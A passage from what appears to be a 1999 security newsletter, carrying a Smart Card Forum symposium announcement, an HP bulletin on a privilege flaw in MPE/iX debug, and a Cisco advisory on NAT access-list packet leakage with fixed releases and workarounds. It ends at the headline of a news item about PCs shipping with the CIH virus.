       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       Forwarded From: "Jay D. Dyson" <jdyson@techreports.jpl.nasa.gov>
       Originally From: "Deborah Volk" <dvolk@smartcardforum.org>
       
       
       The Smart Card Forum Announces Symposium for
       In-Depth Examination of Internet Security, Privacy
       
       
       "Enabling Privacy in a Virtual World" Features Experts in
       Industry, Government, Media and Consumer Advocacy
       
       
       WASHINGTON, D.C., April 6, 1999 -- The Smart Card Forum (SCF), a
       multi-industry organization working to accelerate the widespread acceptance
       of smart card technology, today announced an upcoming in-depth symposium
       that will focus on the critical issues surrounding privacy and security in
       the Internet era.  The symposium, entitled "Enabling Privacy in a Virtual
       World," is open to the public and will be held on May 20, 1999 at the
       Monarch Hotel in Washington, D.C.
           The symposium will feature presentations and debate from a range of
       Internet experts - including representatives from major corporations
       involved in Internet commerce, leading developers of security technologies
       and electronic commerce products, as well as key government officials
       considering legislative, regulatory and policy issues.  Educators,
       journalists, and consumer spokespeople concerned with issues of individual
       privacy in an increasingly virtual world will also add their perspective to
       the mix.
           "As companies and consumers converge on the Internet as the medium of
       choice for conducting business, the need to effectively and seamlessly
       address issues of security and privacy becomes increasingly urgent," said
       Donna Farmer, president and CEO of The Smart Card Forum.  "In presenting
       'Enabling Privacy in a Virtual World,' the Smart Card Forum continues its
       tradition of introducing and illuminating the leading issues of the day,
       and, as such, we expect media attention for the symposium to be strong."
           Some of the speakers that will participate in The Smart Card Forum's
       symposium include Representative Vern Ehlers; Marc Rotenberg of Electronic
       Privacy Information Center (EPIC); Dan Geer, Senior Strategist of CertCo;
       Jeff Kutler, editor of "American Banker;" Thomas A. Kalil, senior director,
       National Economic Council; Steve Ellis, vice president of Business
       Development of Intel; Steve Crocker, founder of CyberCash; Stewart Baker,
       partner of Steptoe & Johnson; Jerry Ashworth, editor of "Report on Smart
       Cards," Taher Elgamal of Kroll-O'Gara; and author Simson Garfinkel.
           The fee for non-members who register by April 15 is $325.  After this
       date,
       the fee is $395 for non-members.  Attendees may register online at
       www.smartcardforum.org or by calling (202) 530-5306.  Member registration
       information and pricing structure is available on the Web site.
           Registration and continental breakfast will start at 7:30 a.m. on the day
       of the event and the program will begin at 8:00 a.m. and end with a
       reception for attendees from 5:30 p.m. to 7:30 p.m.
       
       
       About The Smart Card Forum
           The Smart Card Forum is a non-profit, multi-industry organization of
       nearly
       200 members working to accelerate the widespread acceptance of multiple
       application smart card technology by bringing together, in an open forum,
       leading users and technologists from both the public and private sectors.
       The Smart Card Forum is the leading organization for education and awareness
       of topical issues associated with the use and adoption of smart card
       systems. For more information about The Smart Card Forum, log on to the
       organization's Web site at www.smartcardforum.org.
       
       
       (30)
       
       
       Thank you for your time,
       Sincerely,
       Deborah Volk
       
       
       
       -o-
       Subscribe: mail majordomo@repsec.com with "subscribe isn".
       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
       
       @HWA
 
 12.0  HP advisory Security Vulnerability in MPEi/X debug
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
       Date: Tue, 13 Apr 1999 04:37:00 -0700 (PDT)
       Subject: Security Bulletins Digest
       From: support_feedback@us-support.external.hp.com (HP Electronic Support Center )
       To: security_info@us-support.external.hp.com
       Reply-To: support_feedback@us-support.external.hp.com
       Errors-To: support_errors@us-support.external.hp.com
       
       
       
                               HP Support Information Digests
       
       
       ===============================================================================
       o  HP Electronic Support Center World Wide Web Service
          ---------------------------------------------------
       
       
          If you subscribed through the HP Electronic Support Center and would
          like to be REMOVED from this mailing list, access the
          HP Electronic Support Center on the World Wide Web at:
       
       
            http://us-support.external.hp.com
       
       
          Login using your HP Electronic Support Center User ID and Password.
          Then select Support Information Digests.  You may then unsubscribe from the
          appropriate digest.
       ===============================================================================
       
       
       Digest Name:  Daily Security Bulletins Digest
           Created:  Tue Apr 13  3:00:02 PDT 1999
       
       
       Table of Contents:
       
       
       Document ID      Title
       ---------------  -----------
       HPSBMP9904-006   Security Vulnerability in MPEi/X debug
       
       
       The documents are listed below.
       -------------------------------------------------------------------------------
       
       
       Document ID:  HPSBMP9904-006
       Date Loaded:  19990412
             Title:  Security Vulnerability in MPEi/X debug
       
       
       -------------------------------------------------------------------------
       HEWLETT-PACKARD COMPANY SECURITY BULLETIN: (MPE/iX) #006, 13 April 1999
       -------------------------------------------------------------------------
       
       
       The information in the following Security Bulletin should be acted upon
       as soon as possible.  Hewlett-Packard Company will not be liable for any
       consequences to any customer resulting from customer's failure to fully
       implement instructions in this Security Bulletin as soon as possible.
       
       
       -------------------------------------------------------------------------
       
       
       PROBLEM : Debug improperly handles commands.
       
       
       PLATFORM: All HP3000 systems running the MPE/iX 5.0 and MPE/iX 5.5
                 release of the Operating System only.
       
       
       DAMAGE  : Users can gain increased privileges.
       
       
       SOLUTION: Apply the appropriate patches to correct the problem:
       
       
                  For MPE/iX 5.0:    MPEKXM1A
                  For MPE/iX 5.5:    MPEKXM1B
       
       
       ---------------------------------------------------------------------
       I.
          A. Background
             Under certain conditions, improper use of the debug utility
             in MPE/iX Operating system can result in users gaining increased
             privileges.
       
       
          B. Fixing the problem
             Obtain the patch from the HP Electronic Support Center (ESC)
             by following the instructions below.  Installing the following
             patch will completely close this vulnerability.
       
       
              For all HP3000 platforms running MPE/iX 5.0: MPEKXM1A
              For all HP3000 platforms running MPE/iX 5.5: MPEKXM1B
       
       
             NOTE: The problem does not exist with the release MPE/iX 6.0.
       
       
          C. To subscribe to automatically receive future NEW HP Security
             Bulletins or access the HP Electronic Support Center, use your
             browser to get to our ESC web page at:
       
       
             http://us-support.external.hp.com   (for non-European locations),
             or  http://europe-support.external.hp.com  (for Europe)
       
       
             Login with your user ID and password (or register for one).
             Remember to save the User ID/password assigned to you.
       
       
             Once you are in the Main Menu:
             To -subscribe- to future HP Security Bulletins,
               click on "Support Information Digests".
             To -review Security bulletins already released-,
               click on the "Search Technical Knowledge Database."
             To -retrieve patches-, click on "Individual Patches" and select
               appropriate release and locate with the patch identifier (ID).
             To -browse the HP Security Bulletin Archive-,  select the link at
              the bottom of the page once in the "Support Information Digests".
             To -view the Security Patch Matrix-, (updated daily) which
              categorizes security patches by platform/OS release, and by
              bulletin topic, go to the archive (above) and follow the links.
       
       
             The security patch matrix is also available via anonymous ftp:
             us-ffs.external.hp.com   or  ~ftp/export/patches/hp-ux_patch_matrix
       
       
          D. To report new security vulnerabilities, send email to
       
       
              security-alert@hp.com
       
       
             Please encrypt any exploit information using the security-alert
             PGP key, available from your local key server, or by sending a
             message with a -subject- (not body) of 'get key' (no quotes) to
             security-alert@hp.com.
       
       
            Permission is granted for copying and circulating this Bulletin to
            Hewlett-Packard (HP) customers (or the Internet community) for the
            purpose of alerting them to problems, if and only if, the Bulletin
            is not edited or changed in any way, is attributed to HP, and
            provided such reproduction and/or distribution is performed for
            non-commercial purposes.
       
       
            Any other use of this information is prohibited. HP is not liable
            for any misuse of this information by any third party.
       ________________________________________________________________________
       -----End of Document ID:  HPSBMP9904-006--------------------------------------
       
       
       ----- End forwarded message -----
       
       
       --
       Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl
       Pine Internet B.V.           Consultancy, installatie en beheer
       Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/
       -- Pine Security Digest - http://security.pine.nl/ (Dutch) ----
       Excuse of the day: the butane lighter causes the pincushioning
       
       @HWA

 
 13.0  Cisco security advisory Input Access List Leakage with NAT 
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Approved-By: aleph1@UNDERGROUND.ORG 
       Message-ID: <19990413145711.9043.qmail@susan.cisco.com> 
       Date:   Tue, 13 Apr 1999 14:57:11 -0000 
       Reply-To: psirt@cisco.com 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: psirt@cisco.com 
       Subject:      Cisco security notice: Input Access List Leakage with NAT 
       X-To:         cisco@spot.colorado.edu, cust-security-announce@cisco.com, 
                     firewalls@greatcircle.com, first-info@first.org 
       To: BUGTRAQ@netspace.org 
       
       
       -----BEGIN PGP SIGNED MESSAGE-----
       
       
       Cisco IOS(R) Software Input Access List Leakage with NAT
       
       
       Revision 1.2
       For release Tuesday, April 13, 1999, 08:00 AM US/Pacific
       
       
       Cisco internal use only until released on www.cisco.com
       ==============================================================
       
       
       Summary
       =======
       A group of related software bugs (bug IDs given under "Software Versions and
       Fixes") create an undesired interaction between network address translation
       (NAT) and input access list processing in certain Cisco routers running
       12.0-based versions of Cisco IOS software (including 12.0, 12.0S, and 12.0T,
       in all versions up to, but not including, 12.0(4), 12.0(4)S, and 12.0(4)T, as
       well as other 12.0 releases). Non-12.0 releases are not affected.
       
       
       This may cause input access list filters to "leak" packets in certain NAT
       configurations, creating a security exposure. Configurations without NAT are
       not affected.
       
       
       The failure does not happen at all times, and is less likely under
       laboratory conditions than in installed networks. This may cause
       administrators to believe that filtering is working when it is not.
       
       
       Software fixes are being created for this vulnerability, but are not yet
       available for all software versions (see the section on "Software Versions
       and Fixes"). This notice is being released before fixed software is
       universally available in order to enable affected Cisco customers to take
       immediate steps to protect themselves against this vulnerability.
       
       
       Who Is Affected
       ===============
       If you are using input access lists in conjunction with NAT on an interface
       of a Cisco IOS router running any 12.0-based version of Cisco IOS software
       earlier than the fixed versions listed in the table under "Software Versions
       and Fixes", then you are affected by this vulnerability. Non-12.0 releases
       are not affected.
       
       
       Both input access lists and NAT must be in use on the same router interface
       in order for this vulnerability to manifest itself. If your configuration
       file does not contain the command "ip access-group <acl> in" on the same
       interface with "ip nat inside" or "ip nat outside", then you are not affected.
       The majority of routers are not configured to use NAT, and are therefore not
       affected. NAT routers are most commonly found at Internet boundaries.
       
       
       Affected Devices
       - --------------
       Cisco devices that run Cisco IOS software, and are affected by this
       vulnerability, include the following:
       
       
          * Cisco routers in the 17xx family are affected.
          * Cisco routers in the 26xx family are affected.
          * Cisco routers in the 36xx family are affected.
          * Cisco routers in the AS58xx family (not the AS52xx or AS53xx) are
            affected.
          * Cisco routers in the 72xx family (including the ubr72xx) are affected.
          * Cisco routers in the RSP70xx family (not non-RSP 70xx routers) are
            affected.
          * Cisco routers in the 75xx family are affected.
          * The Catalyst 5xxx Route-Switch Module (RSM) is affected. The Catalyst
            5xxx switch supervisors themselves are not affected; only the optional
            RSM module is involved.
       
       
       Cisco devices which run Cisco IOS software, but are not affected by this
       vulnerability, include the following:
       
       
          * Cisco routers in the 8xx family are not affected.
          * Cisco routers in the ubr9xx family are not affected.
          * Cisco routers in the 10xx family are not affected.
          * Cisco routers in the 14xx family are not affected.
          * Cisco routers in the 16xx family are not affected.
          * Cisco routers in the 25xx family are not affected.
          * Cisco routers in the 30xx family are not affected (and do not run 12.0
            software).
          * Cisco routers in the mc38xx family are not affected.
          * Cisco routers in the 40xx family are not affected.
          * Cisco routers in the 45xx family are not affected.
          * Cisco routers in the 47xx family are not affected.
          * Cisco routers in the AS52xx family are not affected
          * Cisco routers in the AS53xx family are not affected.
          * Catalyst 85xx Switch Routers are not affected (and do not support NAT).
          * GSR12xxx Gigabit Switch Routers are not affected (and do not support
            NAT).
          * Cisco 64xx universal access concentrators are not affected.
          * Cisco AGS/MGS/CGS/AGS+ and IGS routers are not affected (and do not run
            12.0 software).
          * LS1010 ATM switches are not affected.
          * Catalyst 2900XL LAN switches are not affected.
          * The Cisco DistributedDirector is not affected.
       
       
       If you are unsure whether your device is running classic Cisco IOS software,
       log into the device and issue the command "show version". Cisco IOS software
       will identify itself simply as "IOS" or "Internetwork Operating System
       Software". Other Cisco devices either will not have the "show version"
       command, or will give different output.
       
       
       If you are not running Cisco IOS software, then you are not affected by this
       vulnerability. Cisco devices which do not run Cisco IOS software, and are
       not affected by this vulnerability, include the following:
       
       
          * 7xx dialup routers (750, 760, and 770 series) are not affected.
          * Catalyst 19xx, 28xx, 29xx, 3xxx, and 5xxx LAN switches are not
            affected.
          * WAN switching products in the IGX and BPX lines are not affected.
          * The MGX (formerly known as the AXIS shelf) is not affected.
          * No host-based software is affected.
          * The Cisco PIX Firewall is not affected.
          * The Cisco LocalDirector is not affected.
          * The Cisco Cache Engine is not affected.
       
       
       Impact
       ======
       The severity of the impact may vary, depending on the device type,
       configuration and environment, from sporadic leakage of occasional packets
       to consistent leakage of significant classes of packets. The environment
       dependencies are extremely complex and difficult to characterize, but
       essentially all vulnerable configurations are affected to some degree.
       Customers with affected devices are advised to assume that the vulnerability
       affects their networks whenever input access lists are used together with
       NAT in 12.0-based software.
       
       
       This vulnerability may allow users to circumvent network security filters,
       and therefore security policies. This may happen with no special effort on
       the part of the user, and indeed without the user being aware that a filter
       exists at all. No particular tools, skills, or knowledge are needed for such
       opportunistic attacks. In some configurations, it may be also possible for
       an attacker to deliberately create the conditions for this failure; doing
       this would require detailed knowledge and a degree of sophistication.
       
       
       The conditions that trigger this vulnerability may be frequent and
       long-lasting in some production configurations.
       
       
       Software Versions and Fixes
       ===========================
       This vulnerability is created by bugs in interface hardware drivers. These
       bugs affect the drivers for all interface types on affected platforms. The
       majority of these driver bugs are grouped under Cisco bug ID CSCdk79747.
       Additional bugs IDs include CSCdm22569 (miscellaneous additional drivers),
       and CSCdm22299 (Cisco 1400 and 1700 platforms; of these two, only the 1700
       actually suffers packet leakage).
       
       
       A related bugs is CSCdm22451, which describes a problem with the original
       fix for CSCdk79747.
       
       
       All four of these bugs are, or will be, fixed in the software releases
       listed in the table below.
       
       
       Many Cisco software images have been or will be specially reissued to
       correct this vulnerability. For example, regular released version 12.0(3) is
       vulnerable, as are interim versions 12.0(3.1) through 12.0(3.7) The first
       fixed version of 12.0 mainline software is 12.0(4). However, a special
       release, 12.0(3b), contains only the security vulnerability fixes, and does
       not include any of the other bug fixes from later 12.0 interim releases.
       
       
       If you were running 12.0(3), and wanted to upgrade to fix this problem,
       without taking the risk of instability presented by the new functionality
       and additional bug fixes in the 12.0(4) release, you could upgrade to
       12.0(3b). 12.0(3b) represents a "code branch" from the 12.0(3) base, which
       merges back into the 12.0 mainline at 12.0(4).
       
       
       In every case, these special releases are one-time spot fixes, and will not
       be maintained. The upgrade path from, say, 12.0(3b), is to 12.0(4).
       
       
       Note that fixes are not yet available for some affected releases. Cisco is
       releasing this notice before the general release of fixed software because
       of the possibility that this vulnerability may be exploited in the interim.
       All fix dates in the table are estimates and are subject to change.
       
       
       +-------------+---------------+--------------+-------------+---------------+
       |             |               |              |  Projected  |               |
       |             |               | Special spot | first fixed |Projected first|
       |             |               | fix release; |  regular or | fixed regular |
       |  Cisco IOS  |               |  most stable |  interim**  |  maintenance  |
       |Major Release|  Description  |   immediate  | release (fix|  release (or  |
       |             |               | upgrade path |  will carry |other long term|
       |             |               | (see above)  | forward into| upgrade path) |
       |             |               |              |  all later  |               |
       |             |               |              |  versions)  |               |
       +-------------+---------------+--------------+-------------+---------------+
       |                           Unaffected releases                            |
       +-------------+---------------+--------------+-------------+---------------+
       |11.3 and     |               |              |             |               |
       |earlier, all |Unaffected     |Unaffected    |Unaffected   |Unaffected     |
       |variants     |early releases |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       |             |             12.0-based releases                            |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0         |12.0 mainline  |12.0(3b)      |12.0(4),     |12.0(4),       |
       |             |               |              |April 19,    |April 19, 1999*|
       |             |               |              |1999*        |               |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0S        |ISP support:   |              |12.0(4)S     |12.0(5)S       |
       |             |7200, RSP,     |              |(treated as  |June 21, 1999* |
       |             |GSR12000. In   |              |interim** and|               |
       |             |field test.    |      -       |released to  |               |
       |             |               |              |field testers|               |
       |             |               |              |on request   |               |
       |             |               |              |only         |               |
       |             |               |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0T        |12.0 new       |12.0(3)T2,    |12.0(4)T,    |12.0(4)T,      |
       |             |technology     |April 14,     |April 26,    |April 26, 1999*|
       |             |early          |1999*         |1999*        |               |
       |             |deployment     |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0DB       |12.0 for Cisco |              |             |Unaffected; not|
       |             |6400 universal |              |             |supported on   |
       |             |access         |              |             |affected       |
       |             |concentrator   |      -       |      -      |platforms.     |
       |             |node switch    |              |             |               |
       |             |processor (lab |              |             |               |
       |             |use)           |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0(1)W5(x) |12.0 for       |              |             |Unaffected; not|
       |             |Catalyst 8500  |      -       |      -      |supported on   |
       |             |and LS1010     |              |             |affected       |
       |             |               |              |             |platforms      |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0(0.6)W5  |One-time early |              |             |Unaffected; not|
       |             |deployment for |              |             |supported on   |
       |             |CH-OC12 module |      -       |      -      |affected       |
       |             |in Catalyst    |              |             |platforms.     |
       |             |8500 series    |              |             |               |
       |             |switches       |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0(1)XA3   |Short-life     |              |Merged       |Upgrade to     |
       |             |release; merged|              |             |12.0(3)T2 or   |
       |             |to 12.0T at    |      -       |             |12.0(4)T       |
       |             |12.0(2)T.      |              |             |               |
       |             |               |              |             |               |
       |             |               |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0(1)XB    |Short-life     |Unaffected    |Merged       |Unaffected; not|
       |             |release for    |              |             |supported on   |
       |             |Cisco 800      |              |             |affected       |
       |             |series; merged |              |             |platforms.     |
       |             |to 12.0T at    |              |             |Regular upgrade|
       |             |12.0(3)T.      |              |             |path is via    |
       |             |               |              |             |12.0(4)T       |
       |             |               |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0(2)XC    |Short-life     |              |Merged       |Upgrade to     |
       |             |release for new|              |             |12.0(3)T2 or   |
       |             |features in    |              |             |12.0(4)T       |
       |             |Cisco 2600,    |              |             |               |
       |             |Cisco 3600,    |      -       |             |               |
       |             |ubr7200, ubr900|              |             |               |
       |             |series; merged |              |             |               |
       |             |to 12.0T at    |              |             |               |
       |             |12.0(3)T.      |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0(2)XD    |Short-life     |              |Merged       |Upgrade to     |
       |             |release for    |              |             |12.0(3)T2 or   |
       |             |ISDN voice     |      -       |             |12.0(4)T       |
       |             |features;      |              |             |               |
       |             |merged to 12.0T|              |             |               |
       |             |at 12.0(3)T.   |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0(x)XE    |Short-life     |12.0(2)XE3,   |Merged       |Upgrade to     |
       |             |release for    |April 13,     |             |12.0(3)T2 or   |
       |             |selected       |1999*         |             |12.0(4)T.      |
       |             |entreprise     |              |             |               |
       |             |features;      |              |             |               |
       |             |merged to 12.0T|              |             |               |
       |             |at 12.0(3)T    |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0(2)XF    |Short-life spot|Unaffected    |Merged       |Unaffected; not|
       |             |release of 12.0|              |             |supported on   |
       |             |for the        |              |             |affected       |
       |             |Catalyst       |              |             |platforms.     |
       |             |2900XL LAN     |              |             |Regular upgrade|
       |             |switch; merged |              |             |path is via    |
       |             |to 12.0T at    |              |             |12.0(4)T.      |
       |             |12.0(4)T.      |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       |12.0(2)XG    |Short-life     |              |Merged       |Upgrade to     |
       |             |release for    |              |             |12.0(4)T       |
       |             |voice modules  |      -       |             |               |
       |             |and features;  |              |             |               |
       |             |merged to 12.0T|              |             |               |
       |             |at 12.0(4)T.   |              |             |               |
       +-------------+---------------+--------------+-------------+---------------+
       
       
       * All dates are tentative and subject to change
       
       
       ** Interim releases are subjected to less internal testing and verification
       than are regular releases, may have serious bugs, and should be installed
       with great care.
       
       
       Getting Fixed Software
       - --------------------
       Cisco is offering free software upgrades to remedy this vulnerability for
       all affected customers. Customers with service contracts may upgrade to any
       software version. Customers without contracts may upgrade only within a
       single row of the table above, except that any available fixed software will
       be provided to any customer who can use it and for whom the standard fixed
       software is not yet available. As always, customers may install only the
       feature sets they have purchased.
       
       
       Note that not all fixed software is available as of the date of this notice.
       
       
       Customers with contracts should obtain upgraded software through their
       regular update channels. For most customers, this means that upgrades should
       be obtained via the Software Center on Cisco's Worldwide Web site at
       http://www.cisco.com.
       
       
       Customers without contracts should get their upgrades by contacting the
       Cisco Technical Assistance Center (TAC). TAC contacts are as follows:
       
       
          * +1 800 553 2447 (toll-free from within North America)
          * +1 408 526 7209 (toll call from anywhere in the world)
          * e-mail: tac@cisco.com
       
       
       Give the URL of this notice as evidence of your entitlement to a free
       upgrade. Free upgrades for non-contract customers must be requested through
       the TAC. Please do not contact either "psirt@cisco.com" or
       "security-alert@cisco.com" for software upgrades.
       
       
       Workarounds
       ===========
       This vulnerability may be worked around by changing the configuration to
       avoid using input access lists, by removing NAT from the configuration, or
       by separating NAT and filtering functions into different network devices or
       onto different interfaces. Each of these changes has significant
       installation-dependent complexity, and must be planned and executed with a
       full understanding of the implications of the change.
       
       
       If the configuration of a router is changed to eliminate NAT, or to change
       the interfaces on which NAT is applied, as a means of avoiding this
       vulnerability, the router must be reloaded before the change will have the
       desired effect.
       
       
       Exploitation and Public Announcements
       =====================================
       Cisco knows of no public announcements or discussion of this vulnerability
       before the date of this notice. Cisco has had no reports of malicious
       exploitation of this vulnerability. However, the nature of this
       vulnerability is such that it may create security exposures without
       knowingly being "exploited" as the term is usually used with respect to
       security vulnerabilities.
       
       
       This vulnerability was reported to Cisco by several customers who found it
       during in-service testing.
       
       
       Status of This Notice
       =====================
       This is a final field notice. Although Cisco cannot guarantee the accuracy
       of all statements in this notice, all of the facts have been checked to the
       best of our ability. Cisco does not anticipate issuing updated versions of
       this notice unless there is some material change in the facts. Should there
       be a significant change in the facts, Cisco may update this notice.
       
       
       Distribution
       - ----------
       This notice will be posted on Cisco's Worldwide Web site at
       http://www.cisco.com/warp/public/770/iosnatacl-pub.shtml . In addition to
       Worldwide Web posting, the initial version of this notice is being sent to
       the following e-mail and Usenet news recipients:
       
       
          * cust-security-announce@cisco.com
          * bugtraq@netspace.org
          * first-teams@first.org (includes CERT/CC)
          * cisco@spot.colorado.edu
          * comp.dcom.sys.cisco
          * firewalls@greatcircle.com
          * Various internal Cisco mailing lists
       
       
       Future updates of this notice, if any, will be placed on Cisco's Worldwide
       Web server, but may or may not be actively announced on mailing lists or
       newsgroups. Users concerned about this problem are encouraged to check the
       URL given above for any updates.
       
       
       Revision History
       - --------------
       Revision 1.0,       First release candidate version
       16:40 US/Pacific
       8-APR-1999
       
       
       Revision 1.1,       Remove extraneous editor's comments
       18:20 US/Pacific
       8-APR-1999
       
       
       Revision 1.2,       Typographical cleanup, clarification of affected releases
       12:00 US/Pacific    in summary section, remove extraneous bug reference.
       9-APR-1999
       
       
       Cisco Security Procedures
       =========================
       Complete information on reporting security vulnerabilities in Cisco
       products, obtaining assistance with security incidents, and registering to
       receive security information from Cisco, is available on Cisco's Worldwide
       Web site at
       http://www.cisco.com/warp/public/791/sec_incident_response.shtml. This
       includes instructions for press inquiries regarding Cisco security notices.
       
       
       - ------------------------------------------------------------------------
       This notice is copyright 1999 by Cisco Systems, Inc. This notice may be
       redistributed freely after the release date given at the top of the text,
       provided that redistributed copies are complete and unmodified, including
       all date and version information.
       - ------------------------------------------------------------------------
       -----BEGIN PGP SIGNATURE-----
       Version: Big Secret
       Comment: For info see http://www.gnupg.org
       
       
       iQEVAwUBNxNXfnLSeEveylnrAQHUqwf/bKI4zIa23ZbhKgn6pzlDxCmeKBxtDrxa
       B4hNQf9p07YPsNrA/LYepYmNJAQpZz4uXflBVU/cKeQE8o8/AvbxgUvGuV7MY4La
       Wafn7UbR26Vfixvk6ZzWPy8NnB5OGuL6Z7VEH3MW7UwNX8MPhKSLd6nCMA2Ily14
       nVvKbylroSJhyFSvI1TizJYh/jjIqMudxPBIftNYIuUNpeLZkQ6B0p/CxScJ6AAT
       Ze5+6KX4DMVKCb0uTV/+Hzayf67Z78eoxVSvA+Nj1CCE7J3nr8VC9qsJE0ItTbO9
       xv0AoJ4MfrscQzT12hbIii9pvDCe3gW1e7E8PGMVFGo3V4WMGsIilA==
       =XF+D
       -----END PGP SIGNATURE-----
       -----BEGIN PGP PUBLIC KEY BLOCK-----
       Version: Big Secret
       Comment: For info see http://www.gnupg.org
       
       
       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
       =l8tP
       -----END PGP PUBLIC KEY BLOCK-----
       
       @HWA
    
 14.0  Aptivas ship with added bonus, the CIH virus.
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       --------------------------------------------------------------
       This story was printed from ZDNN,
